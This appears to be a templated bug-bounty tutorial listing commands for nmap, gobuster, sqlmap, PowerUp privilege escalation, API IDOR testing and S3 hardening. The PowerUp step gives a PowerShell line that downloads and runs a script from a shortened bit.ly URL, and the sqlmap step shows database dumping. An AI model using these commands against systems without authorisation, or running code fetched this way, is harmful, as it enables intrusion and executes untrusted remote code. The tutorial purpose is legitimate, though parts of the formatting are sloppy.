Essential Cybersecurity Commands and Techniques for Bug Bounty Hunters

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Introduction:

Bug bounty hunting and penetration testing require a deep understanding of cybersecurity tools, commands, and techniques. This article provides verified Linux/Windows commands, code snippets, and step-by-step guides to help security researchers identify vulnerabilities, exploit weaknesses, and secure systems effectively.

Learning Objectives:

  • Learn critical Linux and Windows commands for vulnerability assessment.
  • Understand how to use cybersecurity tools for penetration testing.
  • Explore API security and cloud-hardening techniques.

1. Network Scanning with Nmap

Command:

nmap -sV -A -T4 target.com

What it does:

This Nmap command performs aggressive scanning (-A), detects service versions (-sV), and speeds up the scan (-T4).

How to use it:

  1. Install Nmap (sudo apt install nmap on Linux).

2. Run the command against a target domain/IP.

3. Analyze open ports, services, and potential vulnerabilities.

2. Directory Bruteforcing with Gobuster

Command:

gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt

What it does:

Gobuster brute-forces directories and files on a web server using a wordlist.

How to use it:

1. Install Gobuster (`sudo apt install gobuster`).

  1. Specify the target URL (-u) and a wordlist (-w).

3. Review discovered directories for hidden endpoints.

3. Exploiting SQL Injection with SQLmap

Command:

sqlmap -u "http://target.com/page?id=1" --dbs

What it does:

SQLmap automates SQL injection attacks to extract database information (--dbs).

How to use it:

1. Identify a vulnerable parameter (e.g., `id=1`).

2. Run SQLmap to enumerate databases.

  1. Use `–dump` to extract table data if authorized.

4. Windows Privilege Escalation with PowerUp

Command (PowerShell):

Invoke-AllChecks

What it does:

PowerUp identifies misconfigurations for Windows privilege escalation.

How to use it:

  1. Download PowerUp (iex (New-Object Net.WebClient).DownloadString('http://bit.ly/PowerUpS')).

2. Execute `Invoke-AllChecks` to find weak service permissions.

3. Exploit findings (e.g., unquoted service paths).

5. API Security Testing with Postman

Example Request:

GET /api/user?id=1 HTTP/1.1 
Host: target.com 
Authorization: Bearer [bash]

What it does:

Tests API endpoints for authentication flaws and IDOR vulnerabilities.

How to use it:

1. Send requests with modified parameters (`id=2`).

  1. Check for unauthorized access to other users’ data.

6. Cloud Hardening (AWS S3 Bucket)

AWS CLI Command:

aws s3api put-bucket-acl --bucket my-bucket --acl private

What it does:

Ensures an S3 bucket is private to prevent data leaks.

How to use it:

1. Install AWS CLI and configure credentials.

2. Run the command to update bucket permissions.

7. Vulnerability Mitigation (Linux Kernel Patch)

Command:

sudo apt update && sudo apt upgrade -y

What it does:

Updates all packages to patch known vulnerabilities.

How to use it:

1. Run regularly to ensure system security.

What Undercode Say:

  • Key Takeaway 1: Mastery of command-line tools (Nmap, SQLmap) is essential for efficient bug hunting.
  • Key Takeaway 2: Automation (Gobuster, PowerUp) speeds up reconnaissance and exploitation.

Analysis:

The increasing complexity of cyber threats demands continuous learning. Bug bounty hunters must stay updated with evolving techniques, such as API security and cloud vulnerabilities. Future trends suggest AI-driven penetration testing tools will dominate, but manual expertise remains irreplaceable for advanced exploits.

Prediction:

As organizations adopt more cloud and API-based infrastructures, vulnerabilities in these areas will surge. Ethical hackers who specialize in cloud security and automation will lead the next wave of cybersecurity innovation.

IT/Security Reporter URL:

Reported By: Ashok Ghewarchand – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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